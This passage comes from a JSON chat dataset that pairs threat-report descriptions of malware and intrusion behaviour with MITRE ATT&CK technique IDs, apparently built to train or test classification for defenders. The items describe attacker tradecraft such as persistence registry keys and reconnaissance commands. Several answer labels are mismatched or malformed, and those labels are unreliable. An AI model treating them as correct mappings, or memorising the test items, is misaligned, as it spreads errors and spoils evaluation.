                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HyperBro has the ability to pack its payload."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "establishes persistence by installing a new service pointing to its DLL and setting the service to auto-start."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some variants of  use AppInit_DLLs to achieve persistence by creating the following Registry key: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows \"AppInit_DLLs\"=\"pserver32.dll\""
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Another interesting technique this malware uses is Visual Studio’s Resource Manager. This is a feature built into Visual Studio that allows one to attach basically any file to the original binary and get a pointer to its data with a few simple API calls. Siloscape uses this method to write the Tor archive to the disk, as well as the unzip binary used to open the archive. It also uses Tor to securely connect to its C2"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used a batch script that adds a Registry Run key to establish malware persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conficker variants spread through NetBIOS share propagation."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This turned out to be the best solution, as the Cobalt group set up a controlled botnet in the bank's network which was very difficult to track and even harder to stop. In october 2016 Group-IB published the report about the Cobalt group. Initially the Cobalt group focused on jackpotting ATMs: they launched a program that sent commands directly to the dispenser to issue cash. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. 6 Example of a message sent by attackers from a domain whose name is similar to the name of a real domain . As soon as the attachment is launched and the malicious code is executed, the Cobalt Strike payload is loaded in the memory. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. The goal is to set the startup path to the executable file or program code, launching it with the powershell.exe shell command to access the Internet resource specified in the code in order to download and install Cobalt Strike module. From our experience, the Cobalt group uses a new method to provide its survivability in every attack. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LockerGoga has been observed deleting its original launcher after execution."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Between August 2 and 4, the actor sent targeted spearphishing emails containing malicious URLs linking to documents to multiple defense contractors"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors used the tasklist command to get information about running processes on a system and determine if the system was a VMware virtual machine. The actors used tasklist.exe and find.exe to display a list of applications and services with their PIDs for all tasks running"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Small Sieve can use Python scripts to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The \"net accounts\" and \"net accounts /domain\" commands with Net can be used to obtain password policy information."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In addition to plainpwd and CredRaptor the toolkit includes a keylogger. The keylogger uses a standard technique to capture keystrokes, specifically the SetWindowsHookEx function"
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PcShare can obtain a list of running processes on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In many payment card data breaches, a point-of-sale (POS) system is infected with malware that searches for specific processes in memory known to store card data in plain text"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can install itself as a new service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap has the ability to download files on an infected host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actors commonly created web shells on the intended targets’ publicly accessible email and web servers. The threat actors used three different filenames (“global.aspx, autodiscover.aspx and index.aspx) for two different webshells"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kwampirs collects OS version information such as registered owner details, manufacturer details, processor type, available storage, installed patches, hostname, version info, system date, and other system information by using the commands \"systeminfo\", \"net config workstation\", \"hostname\", \"ver\", \"set\", and \"date /t\"."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MarkiRAT can run the ShellExecuteW API via the Windows Command Shell."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackConfig has the ability to use HTTPS for C2 communiations."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TRITON was run as trilog.exe, a Py2EXE compiled python script that accepts a single IP address as a flag."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowGoop can receive encrypted commands from C2."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obfuscated several scriptlets and code used on the victim’s machine, including through use of XOR."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ragnar Locker may attempt to connect to removable drives and mapped network drives."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Embedded Trojan This Trojan loaded by the first payload contains several embedded executables that it uses to ultimately download and execute a secondary payload, as well as downloading and opening a decoy document. Upon execution, this Trojan checks to see if it was configured with \"BINDERON\" to determine if it should extract an embedded payload from a resource named \"B\", save it to %TEMP%\\%BIND1%, and create a new process with the embedded payload. While the Trojan was configured to carry out this activity, the actor did not embed a payload within the \"B\" resource, so this functionality does not carry out any activities, rather it just causes an exception and continues running. Another configuration option encountered by this Trojan is a check for '%STARTUPON%'. This sample was not configured to execute with this option enabled, however, should this option be enabled, the Trojan would attempt to install itself to the system at a specific location by writing its contents in base64-encoded format to the following file"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors encrypted IP addresses used for \"Agent\" proxy hops with RC4."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can use PowerShell for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa can dump credentials from the macOS keychain."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Micropsia collects the username from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the command prompt to execute commands on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot has used `.vbs` scripts for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrongPity can use PowerShell to add files to the Windows Defender exclusions list."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Static Kitten is distributing at least two URLs that deliver two different ZIP files that are themed to be relevant to government agency employees. The URLs are distributed through phishing emails with lure and decoy documents. An example lure is shown in Figure 2 below"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When users run the malicious CHM file, the HTM file’s code is executed. The script decompiles the CHM file through hh.exe and runs LBTWiz32.exe. It then creates a normal image file (KBSI_SNS_003.jpg) on the PC screen, making it difficult for users to recognize malicious behaviors."
            },
            {
                "role": "assistant",
                "content": "T1218 - Signed Binary Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CosmicDuke copies and exfiltrates the clipboard contents every 30 seconds."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike. Use scheduled tasks and batch files for automation. The use of LOLBins. Erasing Windows Event Logs, files and tasks"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dtrack contains a function that calls \"LoadLibrary\" and \"GetProcAddress\"."
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cab file was encrypted and decrypted using a simple xor cipher with a rotating 16 byte key: \\x36\\x11\\xdd\\x08\\xac\\x4b\\x72\\xf8\\x51\\x04\\x68\\x2e\\x3e\\x38\\x64\\x32"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lizar has used PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE has the ability to write collected data to a file created in the \"./LOGS\" directory."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Even though Delphi Cannon uses POP3S and SMTPS for its C2 communications like Cannon, it is arguably easier to defend against as it uses an actor owned domain that defenders can easily block and not a legitimate email provider such as Seznam"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team checks for connectivity to other resources in the network."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "side loads a malicious file, sspisrv.dll, in part of a spoofed lssas.exe service."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Although, the use of target names with actuating themes is not new to this group, there has been a significant uptick in the number of emails received and this campaign has been persistently active for the past few weeks"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT gathers information about opened windows during the initial infection."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 15: Structure used to send data to server    Figure 16: Structure used to send data to C2 server The structure is converted to Base64 using the CryptBinaryToStringA function"
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Get2 has the ability to use HTTP to send information collected from an infected host to C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The CoinTicker app also creates a user launch agent, named .espl.plist, that runs the same command periodically"
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Traffic traversing the Tor network will be forwarded to multiple nodes before exiting the Tor network and continuing on to its intended destination."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT has the ability to modify its process memory to hide process command-line arguments."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has distributed targeted emails containing links to malicious documents with embedded macros."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 created accounts disguised as legitimate backup and service accounts as well as an email administration account."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has installed a new Windows service to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has used Putty Secure Copy Client (PSCP) to transfer data."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ran a command to compile an archive of file types of interest from the victim user's directories."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System', 'T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remexi includes different modules that it deploys in its working directory, including configuration decryption and parsing, launching victim activity logging in a separate module, and seven threads for various espionage and auxiliary functions"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WannaCry contains a thread that will attempt to scan for new attached drives every few seconds. If one is identified, it will encrypt the files on the attached device."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indrik Spider has collected credentials from infected systems, including domain accounts."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AdFind can enumerate domain users."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "network traffic can communicate over a raw socket."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "More_eggs can obtain information on installed anti-malware programs."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "netstat can be used to enumerate local network connections, including active TCP connections and other network statistics."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DownPaper collects the victim username and sends it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Filename SHA256 Description   7za.exe dd6d7af00ef4ca89a319a230cdd094275c3a1d365807fe5b34133324bdaa0229 7-Zip 17.01 beta   hb.exe 3ca3a957c526eaeabcf17b0b2cd345c0fffab549adfdf04470b6983b87f7ec62 Hobocopy   nbt.exe c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e nbtscan 1.0.35   rx.exe a6a0fbfee08367046d3d26fb4b4cf7779f7fb6eaf7e60e1d9b6bf31c5be5b63e IntelliAdmin Remote Execute v1.0   tardigrade.exe fe1b011fe089969d960d2dce2a61020725a02e15dbc812ee6b6ecc6a98875392 Tardigrade application"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has detached network shares after exfiltrating files, likely to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal on Host: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyclops Blink can use DNS over HTTPS (DoH) to resolve C2 nodes."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BitPaymer has set the run key \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackMatter leverages LDAP and SMB protocol to discover all hosts in the AD."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Epic collects the user name from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "first stage shellcode contains a NOP sled with alternative instructions that was likely designed to bypass antivirus tools."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
